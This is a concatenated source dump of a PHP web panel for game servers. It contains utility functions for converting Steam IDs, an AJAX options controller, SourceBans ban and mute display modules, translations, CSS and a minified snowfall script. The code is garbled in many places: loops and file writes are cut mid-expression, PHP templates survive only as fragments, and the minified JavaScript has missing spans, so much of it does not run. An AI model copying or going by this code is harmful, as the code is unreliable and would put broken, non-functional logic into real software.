измененным значением подраздела. */ function set_url_section( $url, $command, $change ) { // Получаем массив всех подразделов. $query = $_GET; // Присваеваем подразделу новое значение. $query[$command] = $change; // Генерируем новую ссылку. $finally = urldecode( http_build_query( $query ) ); return $url . '?' . $finally; } /** * Открывает iframe блок, по умолчанию для страниц ошибок. * * @since 0.2 * * @param int $code Код ошибки. * @param string $description Описание ошибки. * @param bool $die Прекращение работы скрипта. * * @return string|false Выводит новый URL с измененным значением подраздела. */ function get_iframe( $code, $description, $die = true ) { echo ''; $die == true && die(); } /** * Сокращения входного текста до определенного количества символов. * * @since 0.2 * * @param string $text Текст. * @param int $max Максимальное количество символов. * * @return string Сокращенный текст. */ function action_text_trim( $text, $max = 18 ) { for($i = 0, $symbols = 0, $iLen = strlen($text); $i < $iLen; $i += GetCharBytes($text[$i]), $symbols++) { if($symbols > $max) { return substr( $text, 0, $i ) . '...'; } } return $text; } /** * Получает количество байт в символе в соответствии кодировки UTF-8. * * @since 0.2 * * @param string $symbol Входной символ. * * @return int Количество байт. */ function GetCharBytes($symbol) { $charnum = ord($symbol); if($charnum & (1 << 7)) { if($charnum & (1 << 5)) { if($charnum & (1 << 4)) { return 4; } return 3; } return 2; } return 1; } function action_text_clear($text) { return stripslashes( htmlspecialchars( strip_tags( trim( stripslashes( $text ) ) ), ENT_QUOTES,'ISO-8859-1', true ) ); } /** * Очистка текста от символов. * * @since 0.2 * * @param string $text Текст. * * @return string Очищенный текст. */ function action_text_clear_characters( $text ) { return preg_replace('/[^А-Яа-яA-Za-z0-9]/', '', $text); } /** * Процент от числа ( Округление ). * * @since 0.2 * * @param int $int Число. * @param int $all Всего. * * @return int Итог. */ function action_int_percent_of_all( $int = 0, $all = 0 ) { if( $int == 0 || $all == 0 ) { $res = 0; } else { $res = floor( 100 * $int / $all ); } return is_nan ( $res ) ? 0 : $res; } /** * Очистка текста до последнего слэша * * @since 0.2 * * @param string $text Текст. * * @return string Текст после последнего слэша */ function action_text_clear_before_slash( $text ) { return array_reverse( explode( "/", $text ) )[0]; } /** * Проверка на дубликат файла. * * @since 0.2 * * @param string $file Ссылка на первый файл. * @param string $file_2 Ссылка на второй файл. * * @return bool Итог проверки. */ function check_duplicate_files( $file, $file_2 ) { return ( file_exists( $file ) && file_exists( $file_2 ) && filesize( $file ) === filesize( $file_2 ) ) ? true : false; } /** * Конвертация Steam ID 32 -> 64. * * @since 0.2 * * @param string $id Steam ID игрока. * * @return int Выводит итог конвертации. */ function con_steam32to64( $id ) { if( $id[0] == 'S'){ $arr = explode(":", $id); if ( ! empty( $arr[2] ) ): return bcadd( bcmul( (int) $arr[2], 2 ), bcadd( (int) $arr[1], '76561197960265728' ), 0 ); endif; } else { return is_numeric ( $id ) ? $id : false; } } /** * Конвертация Steam ID 32 -> 3 (int). * * @since 0.2 * * @param string $steamid32 Steam ID 32 игрока. * * @return int Выводит итог конвертации. */ function con_steam32to3_int( $steamid32 ) { if ( preg_match('/^STEAM_/', $steamid32 ) ) { $split = explode( ':', $steamid32 ); return $split[2] << 1 | $split[1]; } return $steamid32; } /** * Конвертация Steam ID 64 -> 3 (int). * * @since 0.2 * * @param string $steamid64 Steam ID 32 игрока. * * @return int Выводит итог конвертации. */ function con_steam64to3_int( $steamid64 ) { if ( preg_match( '/^765/', $steamid64 ) && strlen( $steamid64 ) > 15 ) { return bcsub( $steamid64, '76561197960265728' ); } else { return $steamid64; } } /** * Конвертация Steam ID 3 -> 64 (int). * * @since 0.2 * * @param string $steamid3 Steam ID 3 игрока. * * @return int Выводит итог конвертации. */ function con_steam3to64_int( $steamid3 ) { if( is_numeric( $steamid3 ) ): $a = $steamid3 % 2; $b = intval($steamid3 / 2); $c = con_steam32to64 ( 'STEAM_1:' . $a . ':' . $b ); return $c; else: return ''; endif; } /** * Конвертация Steam ID 3 -> 32 (int). * * @since 0.2 * * @param string $steamid3 Steam ID 3 игрока. * * @return int Выводит итог конвертации. */ function con_steam3to32_int( $steamid3, $else = 0 ) { if( is_numeric ( $steamid3 ) ): $a = $steamid3 % 2; $b = intval($steamid3 / 2); return 'STEAM_1:' . $a . ':' . $b; elseif( $else === 1 ): return $steamid3[0] == 'S' ? con_steam32to64( $steamid3 ) : $steamid3; else: return $steamid3; endif; } /** * Конвертация Steam ID 64 -> 32. * * @since 0.2 * * @param string $steamid64 Steam ID игрока. * * @return string Выводит итог конвертации. */ function con_steam64to32( $steamid64 ) { if ( preg_match( '/^(7656119)([0-9]{10})$/', $steamid64, $match ) ) { $const1 = 7960265728; $steam32 = ''; if ( $const1 <= $match[2] ) { $a = ( $match[2] - $const1 ) % 2; $b = ( $match[2] - $const1 - $a ) / 2; $steam32 = 'STEAM_1:' . $a . ':' . $b; } } if ( is_numeric ( $steamid64 ) && empty( $steam32 ) ) { $z = bcdiv(bcsub($steamid64, '76561197960265728'), '2'); $y = bcmod($steamid64, '2'); return 'STEAM_1:' . $y . ':' . floor($z); } elseif ( ! empty( $steam32 ) ) { return $steam32; } elseif ( ! is_numeric( $steamid64 ) ) { return false; } else { return false; } } /** * Замена значений перевода * * @since 0.2 * * @param string $phares Текст перевода * @param array $values Значения перевода * * @return string Выводит итог замены. */ function LangValReplace( $phares, $values=[] ) { $replace = $phares; for($i=0; $i $val){ $replace = str_replace('%' . $key . '%', $val, $replace); } } return $replace; } /** * Оставляет в массиве состоящим из нумервынных ключей определенные внутренние ключи. * * @since 0.2 * * @param array $array Массив. * @param array $keys Ключи. * * @return array Итог. */ function action_array_keep_keys( $array, $keys ) { $result = []; $keys = array_flip( $keys ); for( $i = 0, $c = sizeof( $array ); $i < $c; $i++ ) { $result[] = array_intersect_key( $array[ $i ], $keys ); } return $result; } /** * Замена функции mb_substr, при отсутсвии библиотеки "mbstring". * * @since 0.2 * * @param string $str Входная строка. * @param int $s Количество символов с начала. * @param int $l Количество символов с конца. * * @return string Вывод. */ function substr_unicode( $str, $s, $l = null ) { return join( "", array_slice( preg_split( "//u", $str, -1, PREG_SPLIT_NO_EMPTY ), $s, $l ) ); } /** * Выборка всех файлов и папок и запись в массив * * @since 0.2 * * @param string $str Директория. * * @return array Вывод. */ function dirToArray($dir) { $result = array(); $cdir = scandir($dir); foreach ($cdir as $key => $value) { if (!in_array($value,array(".",".."))) { if (is_dir($dir . DIRECTORY_SEPARATOR . $value)) { $result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value); } else { $result[] = $value; } } } return $result; } ================================================ FILE: app/includes/js_controller.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ // Получение информации о каком-либо значении по ключу массива в options.php if( $_POST["function"] == 'options' && isset( $_POST["setup"] ) ): $options = require '../../storage/cache/sessions/options.php'; if( $_POST["setup"] == 'web_key' ): // Возобновление сессии session_start(); if( isset( $_SESSION['user_admin'] ) ): echo json_encode( ( require '../../storage/cache/sessions/options.php' )[ $_POST["setup"] ] ); exit; else: exit; endif; else: echo json_encode( ( require '../../storage/cache/sessions/options.php' )[ $_POST["setup"] ] ); exit; endif; endif; // Присвоение какого-либо значения по ключу массива в options.php if( $_POST["function"] == 'set' & isset( $_POST["option"] ) ) { // Возобновление сессии session_start(); if( isset( $_SESSION['user_admin'] ) ): // Подключение основных функций. require '../../app/includes/functions.php'; // Получение текущих настроек. $options = require '../../storage/cache/sessions/options.php'; if ( empty( $_POST["data"] ) || is_numeric( $_POST["data"] ) ): // Изменение конкретной опции. $options[ $_POST["option"] ] = (int) $options[ $_POST["option"] ] == 0 ? 1 : 0; else: $options[ $_POST["option"] ] = $_POST["data"]; endif; // Проверка на доп изменения. if( ! empty( $_POST["change"] ) ): // Если в строке есть 'css' выполнить чистку кэша по CSS if ( stristr( $_POST["change"], 'css') !== false ): // Проверка папки на пустоту $is_empty = sizeof( glob('../../storage/assets/css/generation/*') ) ? true : false; // Если папка не пустая, провести очистку if( $is_empty == true ): $temp_files = glob( '../../storage/assets/css/generation/*' ); foreach( $temp_files as $temp_file ) { if( is_file( $temp_file ) ) unlink( $temp_file ); } endif; endif; // Если в строке есть 'js' выполнить чистку кэша по JS if ( stristr( $_POST["change"], 'js') !== false ): // Проверка папки на пустоту $is_empty = sizeof( glob('../../storage/assets/js/generation/*') ) ? true : false; // Если папка не пустая, провести очистку if( $is_empty == true ): $temp_files = glob( '../../storage/assets/js/generation/*' ); foreach( $temp_files as $temp_file ) { if( is_file( $temp_file ) ) unlink( $temp_file ); } endif; endif; endif; // Сохранение файла. file_put_contents( '../../storage/cache/sessions/options.php', ' 1 ): if ( sizeof( $db[ $del[0] ] ) == 1 && sizeof( $db[ $del[0] ][ $del[1] ]['DB'] ) == 1 && sizeof( $db[ $del[0] ][ $del[1] ]['DB'][ $del[2] ]['Prefix'] ) == 1 ): unset( $db[ $del[0] ] ); elseif( sizeof( $db[ $del[0] ][ $del[1] ]['DB'][ $del[2] ]['Prefix'] ) > 1 ): unset( $db[ $del[0] ][ $del[1] ]['DB'][ $del[2] ]['Prefix'][ $del[3] ] ); rsort( $db[ $del[0] ][ $del[1] ]['DB'][ $del[2] ]['Prefix'] ); elseif( sizeof( $db[ $del[0] ][ $del[1] ]['DB'] ) > 1): unset( $db[ $del[0] ][ $del[1] ]['DB'][ $del[2] ] ); rsort( $db[ $del[0] ][ $del[1] ]['DB'] ); elseif( sizeof( $db[ $del[0] ] ) > 1): unset( $db[ $del[0] ][ $del[1] ] ); rsort( $db[ $del[0] ] ); endif; else: unset( $db[ $del[0] ] ); endif; // Сохранение файла. file_put_contents( '../../storage/cache/sessions/db.php', ' $avatar) { // Пути до каждого аватара $cache = '../../storage/cache/img/avatars/' . $avatar . '.json'; // Кэш сущетсвует и обновлен менее суток назад - нам эта аватарка не нужна if( file_exists( $cache ) && filemtime( $cache ) > $expired && file_exists( $cache ) && filemtime( $cache ) > $expired ) unset($avatars[$k]); } // Генерация запроса к Steam API. $result = curl_init( 'http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=' . $web_key . '&steamids=' . implode( ",", $avatars ) ); curl_setopt($result, CURLOPT_RETURNTRANSFER, 1); $url = curl_exec($result); curl_close( $result ); // Полученные данные из запроса декодируем. $data = json_decode( $url, true )['response']['players']; // Подсчёт количества обработанных аватаров. $data_count = is_array( $data ) ? sizeof( $data ) : 0; // Создание цикла исходя из количества эелементов. for ( $i = 0; $i < $data_count; $i++ ): // Создаём пути под сохранение аватаров. $cacheFile = "../../storage/cache/img/avatars/" . $data[ $i ]['steamid'] . ".json"; $json = [ 'avatar' => $data[ $i ]['avatarfull'], 'name' => $data[ $i ]['personaname'], 'slim' => $data[ $i ]['avatar'] ]; if( ! empty( $data[ $i ]['avatarfull'] ) ) { file_put_contents( $cacheFile, json_encode($json) ); $res[] = $data[ $i ]['avatarfull']; } else { $res[] = '../storage/cache/img/avatars_random/' . rand(1,30) . '.jpg'; } endfor; echo json_encode($res); exit; } } /** * А меня любят одичавшие собаки * Меня знают консультанты Apple store * Я абстрактный человек с дорожных знаков * Схематичный пешеход со светофора */ ================================================ FILE: app/logs/1.txt ================================================ ================================================ FILE: app/modules/disabled/module_block_main_bans_and_comms/description.json ================================================ { "title": "LR WEB | Home - Displays the latest Bans & Mutes", "info": "Displays the last 10 bans and mutes in separate blocks on the main page. No cache with up-to-date information", "author": "M0st1ce", "page": "home", "version": "0.1", "required": { "core": "0.2", "php": "5.4" }, "setting": { "status": "1", "type": "1", "available_types": "1", "interface": "1", "interface_adjacent": "afternavbar", "data": "1" } } ================================================ FILE: app/modules/disabled/module_block_main_bans_and_comms/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ empty( $Db->db_data['SourceBans'] ) && get_iframe( '012','Не найден мод - SourceBans :: /storage/cache/sessions/db.php' ); // Типа банов. $ban_type = [0 => '
    ' . $Translate->get_translate_phrase('_Forever') . '
    ',1 => '
    ' . $Translate->get_translate_phrase('_Unban') . '
    ',2 => 'Сессия']; // Типа мутов. $comms_type = [0 => '
    ' . $Translate->get_translate_phrase('_Forever') . '
    ',1 => '
    ' . $Translate->get_translate_phrase('_Uncomm') . '
    ',2 => 'Сессия']; // CSGO || CSS $mod = $Db->db_data['SourceBans'][0]['mod']; // Запрос на получение информации о банах $res_bans = $Db->queryAll('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][0]['DB_num'], "SELECT `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`name`, `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`authid`, `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`created`, `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`length`, `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`reason`, `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`type`, `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`ends`, `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`RemoveType`, `sb_admins`.`user`, `sb_admins`.`aid`, `sb_admins`.`authid` AS `admin_authid` FROM `" . $Db->db_data['SourceBans'][0]['Table'] . "bans` INNER JOIN `sb_admins` ON `" . $Db->db_data['SourceBans'][0]['Table'] . "bans`.`aid`=`sb_admins`.`aid` order by `created` desc LIMIT 10"); // Запрос на получение информации о мутах $res_comms = $Db->queryAll('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][0]['DB_num'], "SELECT `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`name`, `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`authid`, `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`created`, `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`length`, `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`reason`, `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`type`, `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`ends`, `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`RemoveType`, `sb_admins`.`user`, `sb_admins`.`aid`, `sb_admins`.`authid` AS `admin_authid` FROM `" . $Db->db_data['SourceBans'][0]['Table'] . "comms` INNER JOIN `sb_admins` ON `" . $Db->db_data['SourceBans'][0]['Table'] . "comms`.`aid`=`sb_admins`.`aid` order by `created` desc LIMIT 10"); ================================================ FILE: app/modules/disabled/module_block_main_bans_and_comms/forward/interface.php ================================================
    get_translate_phrase('_List_recent_bans')?>
    arr_general['avatars'] != 0 ):?> arr_general['avatars'] != 0 ):?> get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[$i]['authid'] ) : $res_bans[$i]['authid'] ); $res_bans[$i]['aid'] != '0' && $General->get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[$i]['admin_authid'] ) : $res_bans[$i]['admin_authid'] )?>arr_general['avatars'] != 0 ) {?> arr_general['avatars'] != 0 ) {?>
    get_translate_phrase('_Game') ?> get_translate_phrase('_Date') ?> get_translate_phrase('_Player') ?> get_translate_phrase('_Admin') ?> get_translate_phrase('_Term') ?>
    ="arr_general['site'] ?>storage/cache/img/mods/.png"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[ $i ]['authid'] ) : $res_bans[ $i ]['authid']?>/?search=1' ">="getAvatar( con_steam32to64( $res_bans[ $i ]['authid'] ), 2 )?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[ $i ]['authid'] ) : $res_bans[ $i ]['authid']?>/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[ $i ]['authid'] ) : $res_bans[ $i ]['authid']?>/?search=1"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res_bans[ $i ]['aid'] != '0'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[ $i ]['admin_authid'] ) : $res_bans[ $i ]['admin_authid']?>/?search=1' ">="getAvatar( con_steam32to64( $res_bans[ $i ]['admin_authid'] ), 2 ) : $General->arr_general['site'] . 'storage/cache/img/avatars_random/20.jpg'?>"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res_bans[ $i ]['aid'] != '0'): ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[ $i ]['admin_authid'] ) : $res_bans[ $i ]['admin_authid']?>/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1' && $res_bans[ $i ]['aid'] != '0'): ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_bans[ $i ]['admin_authid'] ) : $res_bans[ $i ]['admin_authid']?>/?search=1"> = $res_bans[$i]['ends']) { echo $ban_type['2']; } elseif (time() >= $res_bans[$i]['ends'] && $res_bans[$i]['length'] != '0') { echo '
    ' . $Modules->action_time_exchange( $res_bans[$i]['length'] ) . '
    '; } else { echo $Modules->action_time_exchange( $res_bans[$i]['length'] ); }?>
    get_translate_phrase('_List_recent_mut_gags')?>
    arr_general['avatars'] != 0 ) {?>arr_general['avatars'] != 0 ) {?>get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['authid'] ) : $res_comms[ $i ]['authid'] ); $res_comms[ $i ]['aid'] != '0' && $General->get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['admin_authid'] ) : $res_comms[ $i ]['admin_authid'] )?>arr_general['avatars'] != 0 ) {?> arr_general['avatars'] != 0 ) {?>
    get_translate_phrase('_Type') ?> get_translate_phrase('_Date') ?> get_translate_phrase('_Player') ?> get_translate_phrase('_Admin') ?> get_translate_phrase('_Term') ?>
    get_icon( 'zmdi', 'mic', null ) : $General->get_icon( 'zmdi', 'comment-text', null )?> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['authid'] ) : $res_comms[ $i ]['authid']?>/?search=1' ">=" getAvatar( con_steam32to64( $res_comms[ $i ]['authid'] ), 2 )?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['authid'] ) : $res_comms[ $i ]['authid']?>/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['authid'] ) : $res_comms[ $i ]['authid']?>/?search=1"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res_comms[ $i ]['aid'] != '0'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['admin_authid'] ) : $res_comms[ $i ]['admin_authid']?>/?search=1' ">="getAvatar( con_steam32to64( $res_comms[ $i ]['admin_authid'] ), 2 ) : $General->arr_general['site'] . 'storage/cache/img/avatars_random/20.jpg'?>"> array_modules['module_page_profiles']['setting']['status'] == '1' && $res_comms[ $i ]['aid'] != '0'): ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['admin_authid'] ) : $res_comms[ $i ]['admin_authid']?>/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1' && $res_comms[ $i ]['aid'] != '0'): ?>href="arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res_comms[ $i ]['admin_authid'] ) : $res_comms[ $i ]['admin_authid']?>/?search=1"> = $res_comms[$i]['ends'] ) { echo $comms_type['2']; } elseif (time() >= $res_comms[$i]['ends'] && $res_comms[$i]['length'] != '0') { echo '
    ' . $Modules->action_time_exchange( $res_comms[$i]['length'] ) . '
    '; } else { echo $Modules->action_time_exchange( $res_comms[$i]['length'] ); }?>
    ================================================ FILE: app/modules/disabled/module_block_main_sb_stats/assets/css/1.css ================================================ .card-block-sb-big { position: relative; min-height: 120px } .card-block-sb-big .figure { position: absolute; margin-left: 85%; width: 36%; top: 36px; height: 14%; background: var(--span-color); } .card-block-sb-big .figure_2 { position: absolute; margin-left: 92%; width: 22%; top: 59px; height: 14%; background: var(--span-color-addit); } .card-block-sb-big h3 { position: relative; text-align: center; margin-left: auto; margin-right: auto; top: 25px; font-size: 32px; font-weight: 700; color: var(--default-text-color) } .card-block-sb-big .info { position: relative; text-align: center; margin-left: auto; margin-right: auto; top: 25px; font-size: 13px; font-weight: 400; color: var(--default-text-color) } @media (max-width: 575.98px) { .col-fixed { flex: 0 0 33.333333%; max-width: 33.333333% } .card-block-sb-big .figure { display: none; } .card-block-sb-big .figure_2 { display: none; } .card-block-sb-big { position: relative; min-height: 70px } .card-block-sb-big h3 { position: relative; text-align: center; margin-left: auto; margin-right: auto; top: 10px; font-size: 24px; font-weight: 700; color: var(--default-text-color) } .card-block-sb-big .info { position: relative; text-align: center; margin-left: auto; margin-right: auto; top: 0px; font-size: 6px; font-weight: 400; color: var(--default-text-color) } } @media (min-width: 576px) and (max-width: 767.98px) { .col-fixed { flex: 0 0 33.333333%; max-width: 33.333333% } .card-block-sb-big .figure { display: none; } .card-block-sb-big .figure_2 { display: none; } .card-block-sb-big { position: relative; min-height: 80px } .card-block-sb-big h3 { position: relative; text-align: center; margin-left: auto; margin-right: auto; top: 10px; font-size: 28px; font-weight: 700; color: var(--default-text-color) } .card-block-sb-big .info { position: relative; text-align: center; margin-left: auto; margin-right: auto; top: 0px; font-size: 9px; font-weight: 400; color: var(--default-text-color) } } ================================================ FILE: app/modules/disabled/module_block_main_sb_stats/description.json ================================================ { "title": "LR WEB | Home - Mini-Statistics on SB/MA", "info": "Adds blocks with information:
    - Total number of admins;
    - Number of bans;
    - Number of mutes/gags;", "author": "M0st1ce", "page": "home", "version": "0.1", "required": { "core": "0.2", "php": "5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "translation": 1, "interface": 1, "interface_adjacent": "afternavbar", "data": 1, "css": 1, "cache_enable": 0, "cache_time": 1800 } } ================================================ FILE: app/modules/disabled/module_block_main_sb_stats/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ empty( $Db->db_data['SourceBans'] ) && get_iframe( '012','Не найден мод - SourceBans :: /storage/cache/sessions/db.php' ); // Получаем кэша данного модуля. $data['module_block_main_sb_stats'] = $Modules->get_module_cache('module_block_main_sb_stats'); // Проверяем актуальность кэша. if ( ( empty( $data['module_block_main_sb_stats'] ) ) || ( ! empty( $data['module_block_main_sb_stats']['time'] ) && time() > $data['module_block_main_sb_stats']['time'] ) ) { // Проверка на существование столбца expired if ($Db->mysql_column_search('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][ 0 ]['DB_num'], $Db->db_data['SourceBans'][ 0 ]['Table'] . 'admins', 'expired')) { $query_admins = "SELECT COUNT(1) FROM `" . $Db->db_data['SourceBans'][ 0 ]['Table'] . "admins` WHERE `expired` = 0 or `expired` > '.time().' LIMIT 1"; } else { $query_admins = "SELECT COUNT(1) FROM `" . $Db->db_data['SourceBans'][ 0 ]['Table'] . "admins` LIMIT 1"; } // Сохраняем текущее время и прибавляем к нему 1 час. $data['module_block_main_sb_stats']['time'] = time() + $Modules->array_modules['module_block_main_sb_stats']['setting']['cache_time']; // Получаем кол-во админов $data['module_block_main_sb_stats']['count_admins'] = $Db->queryNum('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][0]['DB_num'], $query_admins )[0]-1; // Получаем кол-во банов $data['module_block_main_sb_stats']['count_bans'] = $Db->queryNum('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][ 0 ]['DB_num'], 'SELECT COUNT(1) FROM `' . $Db->db_data['SourceBans'][ 0 ]['Table'] . 'bans` LIMIT 1' )[0]; // Получаем кол-во мутов $data['module_block_main_sb_stats']['count_comms'] = $Db->queryNum('SourceBans', $Db->db_data['SourceBans'][0]['USER_ID'], $Db->db_data['SourceBans'][ 0 ]['DB_num'], 'SELECT COUNT(1) FROM `' . $Db->db_data['SourceBans'][ 0 ]['Table'] . 'comms` LIMIT 1' )[0]; // Сохраняем новый кэш для данного модуля. $Modules->set_module_cache( 'module_block_main_sb_stats', $data['module_block_main_sb_stats'] ); } ================================================ FILE: app/modules/disabled/module_block_main_sb_stats/forward/interface.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>

    translate( 'module_block_main_sb_stats', '_Count_admins' ) ?>

    translate( 'module_block_main_sb_stats', '_Count_bans' ) ?>

    translate( 'module_block_main_sb_stats', '_Count_comms' ) ?>
    ================================================ FILE: app/modules/disabled/module_block_main_sb_stats/translation.json ================================================ { "_Count_admins": { "EN": "Total Admins", "BR": "Total de Admins", "RU": "Всего админ-ов.", "UA": "Всього адмін-ов.", "LT": "Iš viso administratorių.", "CH": "管理员总数", "CRO": "Ukupno Admina", "RS": "Ukupno Admina", "BA": "Ukupno Admina" }, "_Count_bans": { "EN": "Total Bans", "BR": "Total de Bans", "RU": "Всего банов", "UA": "Всього банів", "LT": "Viso blokavimų", "CH": "封禁总数", "CRO": "Ukupno Banova", "RS": "Ukupno Banova", "BA": "Ukupno Banova" }, "_Count_comms": { "EN": "Total Comms", "BR": "Total de Comms", "RU": "Всего мутов/гагов", "UA": "Всього мутов/гагов", "LT": "Viso tildymų (GAG/MUTE)", "CH": "语音封禁总数", "CRO": "Ukupno Mutova", "RS": "Ukupno Mutova", "BA": "Ukupno Mutova" } } ================================================ FILE: app/modules/disabled/module_block_snow/assets/js/1.js ================================================ /** @license DHTML Snowstorm! JavaScript-based snow for web pages Making it snow on the internets since 2003. You're welcome. ----------------------------------------------------------- Version 1.44.20131215 (Previous rev: 1.44.20131208) Copyright (c) 2007, Scott Schiller. All rights reserved. Code provided under the BSD License http://schillmania.com/projects/snowstorm/license.txt */ var snowStorm=function(g,f){function k(a,d){isNaN(d)&&(d=0);return Math.random()*a+d}function x(){g.setTimeout(function(){a.start(!0)},20);a.events.remove(m?f:g,"mousemove",x)}function y(){(!a.excludeMobile||!D)&&x();a.events.remove(g,"load",y)}this.excludeMobile=this.autoStart=!0;this.flakesMax=128;this.flakesMaxActive=64;this.animationInterval=33;this.useGPU=!0;this.className=null;this.excludeMobile=!0;this.flakeBottom=null;this.followMouse=!0;this.snowColor="#fff";this.snowCharacter="•";this.snowStick= !0;this.targetElement=null;this.useMeltEffect=!0;this.usePixelPosition=this.usePositionFixed=this.useTwinkleEffect=!1;this.freezeOnBlur=!0;this.flakeRightOffset=this.flakeLeftOffset=0;this.flakeHeight=this.flakeWidth=8;this.vMaxX=5;this.vMaxY=4;this.zIndex=0;var a=this,q,m=navigator.userAgent.match(/msie/i),E=navigator.userAgent.match(/msie 6/i),D=navigator.userAgent.match(/mobile|opera m(ob|in)/i),r=m&&"BackCompat"===f.compatMode||E,h=null,n=null,l=null,p=null,s=null,z=null,A=null,v=1,t=!1,w=!1, u;a:{try{f.createElement("div").style.opacity="0.5"}catch(F){u=!1;break a}u=!0}var B=!1,C=f.createDocumentFragment();q=function(){function c(b){g.setTimeout(b,1E3/(a.animationInterval||20))}function d(a){return void 0!==h.style[a]?a:null}var e,b=g.requestAnimationFrame||g.webkitRequestAnimationFrame||g.mozRequestAnimationFrame||g.oRequestAnimationFrame||g.msRequestAnimationFrame||c;e=b?function(){return b.apply(g,arguments)}:null;var h;h=f.createElement("div");e={transform:{ie:d("-ms-transform"), moz:d("MozTransform"),opera:d("OTransform"),webkit:d("webkitTransform"),w3:d("transform"),prop:null},getAnimationFrame:e};e.transform.prop=e.transform.w3||e.transform.moz||e.transform.webkit||e.transform.ie||e.transform.opera;h=null;return e}();this.timer=null;this.flakes=[];this.active=this.disabled=!1;this.meltFrameCount=20;this.meltFrames=[];this.setXY=function(c,d,e){if(!c)return!1;a.usePixelPosition||w?(c.style.left=d-a.flakeWidth+"px",c.style.top=e-a.flakeHeight+"px"):r?(c.style.right=100-100* (d/h)+"%",c.style.top=Math.min(e,s-a.flakeHeight)+"px"):a.flakeBottom?(c.style.right=100-100*(d/h)+"%",c.style.top=Math.min(e,s-a.flakeHeight)+"px"):(c.style.right=100-100*(d/h)+"%",c.style.bottom=100-100*(e/l)+"%")};this.events=function(){function a(c){c=b.call(c);var d=c.length;e?(c[1]="on"+c[1],3b.vX?b.vX=0.2:0>b.vX&&-0.2b.vY&&(b.vY=0.2)};this.move=function(){var c=b.vX*v;b.x+=c;b.y+=b.vY*b.vAmp;b.x>=h||h-b.xc&&b.x-a.flakeLeftOffset<-a.flakeWidth&&(b.x=h-a.flakeWidth-1);b.refresh();l+p-b.y+a.flakeHeightb.type&&!b.melting&&0.998b.twinkleFrame?0.97a.flakesMaxActive)a.flakes[a.flakes.length-1].active=-1;a.targetElement.appendChild(C)};this.timerInit= function(){a.timer=!0;a.snow()};this.init=function(){var c;for(c=0;c=0 && s.vX<0.2) { s.vX = 0.2; } else if (s.vX<0 && s.vX>-0.2) { s.vX = -0.2; } if 